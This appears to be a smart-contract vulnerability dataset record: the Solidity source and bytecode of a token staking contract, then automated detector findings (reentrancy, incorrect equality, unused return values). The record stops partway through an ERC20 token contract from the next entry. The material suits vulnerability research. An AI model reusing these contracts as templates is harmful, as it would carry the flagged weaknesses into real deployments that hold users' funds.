@dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract FarmPrdzEth30 is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); event RewardsDisbursed(uint amount); // deposit token contract address address public trustedDepositTokenAddress; address public trustedRewardTokenAddress; uint public adminCanClaimAfter = 395 days; uint public withdrawFeePercentX100 = 0; uint public disburseAmount = 35e18; uint public disburseDuration = 30 days; uint public cliffTime = 30 days; uint public disbursePercentX100 = 10000; uint public contractDeployTime; uint public adminClaimableTime; uint public lastDisburseTime; constructor(address _trustedDepositTokenAddress, address _trustedRewardTokenAddress) public { trustedDepositTokenAddress = _trustedDepositTokenAddress; trustedRewardTokenAddress = _trustedRewardTokenAddress; contractDeployTime = now; adminClaimableTime = contractDeployTime.add(adminCanClaimAfter); lastDisburseTime = contractDeployTime; } uint public totalClaimedRewards = 0; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public depositTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; mapping (address => uint) public lastDivPoints; uint public totalTokensDisbursed = 0; uint public contractBalance = 0; uint public totalDivPoints = 0; uint public totalTokens = 0; uint internal pointMultiplier = 1e18; function addContractBalance(uint amount) public onlyOwner { require(Token(trustedRewardTokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!"); contractBalance = contractBalance.add(amount); } function changeDisburse(uint _disburseAmount) public onlyOwner { disburseAmount = _disburseAmount ; } function manualDeposit(address _depositer, uint amountToDeposit, uint _time) public onlyOwner { require(amountToDeposit > 0, "Cannot deposit 0 Tokens"); require(Token(trustedDepositTokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance"); depositedTokens[_depositer] = depositedTokens[_depositer].add(amountToDeposit); totalTokens = totalTokens.add(amountToDeposit); if (!holders.contains(_depositer)) { holders.add(_depositer); depositTime[_depositer] = _time; } } function updateAccount(address account) private { uint pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { require(Token(trustedRewardTokenAddress).transfer(account, pendingDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = totalClaimedRewards.add(pendingDivs); emit RewardsTransferred(account, pendingDivs); } lastClaimedTime[account] = now; lastDivPoints[account] = totalDivPoints; } function getPendingDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]); uint depositedAmount = depositedTokens[_holder]; uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier); return pendingDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function canWithdraw(address account) public view returns (uint) { if(now.sub(depositTime[account]) > cliffTime){ return 1 ; } else{ return 0 ; } } function deposit(uint amountToDeposit) public { require(amountToDeposit > 0, "Cannot deposit 0 Tokens"); updateAccount(msg.sender); require(Token(trustedDepositTokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance"); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit); totalTokens = totalTokens.add(amountToDeposit); if (!holders.contains(msg.sender)) { holders.add(msg.sender); depositTime[msg.sender] = now; } } function withdraw(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(depositTime[msg.sender]) > cliffTime, "Please wait before withdrawing!"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(trustedDepositTokenAddress).transfer(owner, fee), "Could not transfer fee!"); require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); totalTokens = totalTokens.sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claim() public { updateAccount(msg.sender); } function distributeDivs(uint amount) private { if (totalTokens == 0) return; totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens)); emit RewardsDisbursed(amount); } function disburseTokens() public onlyOwner { uint amount = getPendingDisbursement(); // uint contractBalance = Token(trustedRewardTokenAddress).balanceOf(address(this)); if (contractBalance < amount) { amount = contractBalance; } if (amount == 0) return; distributeDivs(amount); contractBalance = contractBalance.sub(amount); lastDisburseTime = now; } function getPendingDisbursement() public view returns (uint) { uint timeDiff = now.sub(lastDisburseTime); uint pendingDisburse = disburseAmount .mul(disbursePercentX100) .mul(timeDiff) .div(disburseDuration) .div(10000); return pendingDisburse; } function getDepositorsList(uint startIndex, uint endIndex) public view returns (address[] memory stakers, uint[] memory stakingTimestamps, uint[] memory lastClaimedTimeStamps, uint[] memory stakedTokens) { require (startIndex < endIndex); uint length = endIndex.sub(startIndex); address[] memory _stakers = new address[](length); uint[] memory _stakingTimestamps = new uint[](length); uint[] memory _lastClaimedTimeStamps = new uint[](length); uint[] memory _stakedTokens = new uint[](length); for (uint i = startIndex; i < endIndex; i = i.add(1)) { address staker = holders.at(i); uint listIndex = i.sub(startIndex); _stakers[listIndex] = staker; _stakingTimestamps[listIndex] = depositTime[staker]; _lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker]; _stakedTokens[listIndex] = depositedTokens[staker]; } return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens); } }
0x608060405234801561001057600080fd5b50600436106102115760003560e01c80638b7afe2e11610125578063c326bf4f116100ad578063d7130e141161007c578063d7130e1414610913578063e027c61f14610931578063f2fde38b1461094f578063f3f91fa014610993578063fe547f72146109eb57610211565b8063c326bf4f14610861578063ca7e0835146108b9578063d1b965f3146108d7578063d578ceab146108f557610211565b806398896d10116100f457806398896d10146107715780639f54790d146107c9578063a07bf875146107e7578063ac51de8d14610815578063b6b55f251461083357610211565b80638b7afe2e146106cd5780638da5cb5b146106eb5780638e20a1d9146107355780638f5705be1461075357610211565b8063308feec3116101a857806346c648731161017757806346c64873146105d75780634e71d92d1461062f5780636270cd181461063957806365ca78be146106915780637e1c0c09146106af57610211565b8063308feec3146104e957806331a5dda1146105075780633d73250314610551578063452b4cfc146105a957610211565b806319262d30116101e457806319262d30146103c15780631cfa8021146104195780631f04461c146104635780632e1a7d4d146104bb57610211565b806305447d25146102165780630813cc8f1461037b5780630c9a0c78146103855780630f1a6444146103a3575b600080fd5b61024c6004803603604081101561022c57600080fd5b810190808035906020019092919080359060200190929190505050610a09565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561029b578082015181840152602081019050610280565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156102dd5780820151818401526020810190506102c2565b50505050905001858103835287818151815260200191508051906020019060200280838360005b8381101561031f578082015181840152602081019050610304565b50505050905001858103825286818151815260200191508051906020019060200280838360005b83811015610361578082015181840152602081019050610346565b505050509050019850505050505050505060405180910390f35b610383610d22565b005b61038d610dd5565b6040518082815260200191505060405180910390f35b6103ab610ddb565b6040518082815260200191505060405180910390f35b610403600480360360208110156103d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610de1565b6040518082815260200191505060405180910390f35b610421610e51565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104a56004803603602081101561047957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e77565b6040518082815260200191505060405180910390f35b6104e7600480360360208110156104d157600080fd5b8101908080359060200190929190505050610e8f565b005b6104f1611455565b6040518082815260200191505060405180910390f35b61050f611466565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105a76004803603606081101561056757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919050505061148c565b005b6105d5600480360360208110156105bf57600080fd5b810190808035906020019092919050505061180c565b005b610619600480360360208110156105ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a0d565b6040518082815260200191505060405180910390f35b610637611a25565b005b61067b6004803603602081101561064f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a30565b6040518082815260200191505060405180910390f35b610699611a48565b6040518082815260200191505060405180910390f35b6106b7611a4e565b6040518082815260200191505060405180910390f35b6106d5611a54565b6040518082815260200191505060405180910390f35b6106f3611a5a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61073d611a7f565b6040518082815260200191505060405180910390f35b61075b611a85565b6040518082815260200191505060405180910390f35b6107b36004803603602081101561078757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a8b565b6040518082815260200191505060405180910390f35b6107d1611bd2565b6040518082815260200191505060405180910390f35b610813600480360360208110156107fd57600080fd5b8101908080359060200190929190505050611bd8565b005b61081d611c3b565b6040518082815260200191505060405180910390f35b61085f6004803603602081101561084957600080fd5b8101908080359060200190929190505050611cb2565b005b6108a36004803603602081101561087757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fe0565b6040518082815260200191505060405180910390f35b6108c1611ff8565b6040518082815260200191505060405180910390f35b6108df611ffe565b6040518082815260200191505060405180910390f35b6108fd612004565b6040518082815260200191505060405180910390f35b61091b61200a565b6040518082815260200191505060405180910390f35b610939612010565b6040518082815260200191505060405180910390f35b6109916004803603602081101561096557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612016565b005b6109d5600480360360208110156109a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612167565b6040518082815260200191505060405180910390f35b6109f361217f565b6040518082815260200191505060405180910390f35b606080606080848610610a1b57600080fd5b6000610a3087876121a190919063ffffffff16565b905060608167ffffffffffffffff81118015610a4b57600080fd5b50604051908082528060200260200182016040528015610a7a5781602001602082028036833780820191505090505b50905060608267ffffffffffffffff81118015610a9657600080fd5b50604051908082528060200260200182016040528015610ac55781602001602082028036833780820191505090505b50905060608367ffffffffffffffff81118015610ae157600080fd5b50604051908082528060200260200182016040528015610b105781602001602082028036833780820191505090505b50905060608467ffffffffffffffff81118015610b2c57600080fd5b50604051908082528060200260200182016040528015610b5b5781602001602082028036833780820191505090505b50905060008b90505b8a811015610d07576000610b8282600d6121b890919063ffffffff16565b90506000610b998e846121a190919063ffffffff16565b905081878281518110610ba857fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054868281518110610c2e57fe5b602002602001018181525050601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858281518110610c8657fe5b602002602001018181525050600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610cde57fe5b6020026020010181815250505050610d0060018261218590919063ffffffff16565b9050610b64565b50838383839850985098509850505050505092959194509250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d7b57600080fd5b6000610d85611c3b565b9050806015541015610d975760155490505b6000811415610da65750610dd3565b610daf816121d2565b610dc4816015546121a190919063ffffffff16565b60158190555042600b81905550505b565b60085481565b60075481565b6000600754610e38601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054426121a190919063ffffffff16565b1115610e475760019050610e4c565b600090505b919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60136020528060005260406000206000915090505481565b80600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f44576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b600754610f99601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054426121a190919063ffffffff16565b1161100c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f506c656173652077616974206265666f7265207769746864726177696e67210081525060200191505060405180910390fd5b61101533612260565b60006110406127106110326004548561257690919063ffffffff16565b6125a590919063ffffffff16565b9050600061105782846121a190919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561112357600080fd5b505af1158015611137573d6000803e3d6000fd5b505050506040513d602081101561114d57600080fd5b81019080805190602001909291905050506111d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561127957600080fd5b505af115801561128d573d6000803e3d6000fd5b505050506040513d60208110156112a357600080fd5b8101908080519060200190929190505050611326576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61137883600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121a190919063ffffffff16565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113d0836017546121a190919063ffffffff16565b6017819055506113ea33600d6125be90919063ffffffff16565b801561143557506000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156114505761144e33600d6125ee90919063ffffffff16565b505b505050565b6000611461600d61261e565b905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114e557600080fd5b6000821161155b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561163857600080fd5b505af115801561164c573d6000803e3d6000fd5b505050506040513d602081101561166257600080fd5b81019080805190602001909291905050506116e5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61173782600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218590919063ffffffff16565b600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061178f8260175461218590919063ffffffff16565b6017819055506117a983600d6125be90919063ffffffff16565b611807576117c183600d61263390919063ffffffff16565b5080601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461186557600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561194257600080fd5b505af1158015611956573d6000803e3d6000fd5b505050506040513d602081101561196c57600080fd5b81019080805190602001909291905050506119ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43616e6e6f74206164642062616c616e6365210000000000000000000000000081525060200191505060405180910390fd5b611a048160155461218590919063ffffffff16565b60158190555050565b60106020528060005260406000206000915090505481565b611a2e33612260565b565b60126020528060005260406000206000915090505481565b60145481565b60175481565b60155481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b60065481565b6000611aa182600d6125be90919063ffffffff16565b611aae5760009050611bcd565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611aff5760009050611bcd565b6000611b55601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546016546121a190919063ffffffff16565b90506000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000611bc4601854611bb6858561257690919063ffffffff16565b6125a590919063ffffffff16565b90508093505050505b919050565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c3157600080fd5b8060058190555050565b600080611c53600b54426121a190919063ffffffff16565b90506000611ca8612710611c9a600654611c8c86611c7e60085460055461257690919063ffffffff16565b61257690919063ffffffff16565b6125a590919063ffffffff16565b6125a590919063ffffffff16565b9050809250505090565b60008111611d28576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b611d3133612260565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611e0e57600080fd5b505af1158015611e22573d6000803e3d6000fd5b505050506040513d6020811015611e3857600080fd5b8101908080519060200190929190505050611ebb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611f0d81600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218590919063ffffffff16565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f658160175461218590919063ffffffff16565b601781905550611f7f33600d6125be90919063ffffffff16565b611fdd57611f9733600d61263390919063ffffffff16565b5042601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600f6020528060005260406000206000915090505481565b600a5481565b60045481565b600c5481565b60035481565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461206f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156120a957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60116020528060005260406000206000915090505481565b60055481565b60008082840190508381101561219757fe5b8091505092915050565b6000828211156121ad57fe5b818303905092915050565b60006121c78360000183612663565b60001c905092915050565b600060175414156121e25761225d565b61221f61220e6017546122006018548561257690919063ffffffff16565b6125a590919063ffffffff16565b60165461218590919063ffffffff16565b6016819055507f497e6c34cb46390a801e970e8c72fd87aa7fded87c9b77cdac588f235904a825816040518082815260200191505060405180910390a15b50565b600061226b82611a8b565b905060008111156124e857600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561231f57600080fd5b505af1158015612333573d6000803e3d6000fd5b505050506040513d602081101561234957600080fd5b81019080805190602001909291905050506123cc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61241e81601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218590919063ffffffff16565b601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061247681600c5461218590919063ffffffff16565b600c819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601654601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808284029050600084148061259557508284828161259257fe5b04145b61259b57fe5b8091505092915050565b6000808284816125b157fe5b0490508091505092915050565b60006125e6836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6126e6565b905092915050565b6000612616836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612709565b905092915050565b600061262c826000016127f1565b9050919050565b600061265b836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612802565b905092915050565b6000818360000180549050116126c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806128736022913960400191505060405180910390fd5b8260000182815481106126d357fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b600080836001016000848152602001908152602001600020549050600081146127e5576000600182039050600060018660000180549050039050600086600001828154811061275457fe5b906000526020600020015490508087600001848154811061277157fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806127a957fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506127eb565b60009150505b92915050565b600081600001805490509050919050565b600061280e83836126e6565b61286757826000018290806001815401808255809150506001900390600052602060002001600090919091909150558260000180549050836001016000848152602001908152602001600020819055506001905061286c565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473a26469706673582212209237a099f5f7e4206d16608eeb1088cac5a8acb4f8b61fa224b1c4422f02030164736f6c634300060b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,676
0xF091Ec8b33b63d9ba309bF0Cd6d49A8dc59c6d01
pragma solidity ^0.4.15; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function 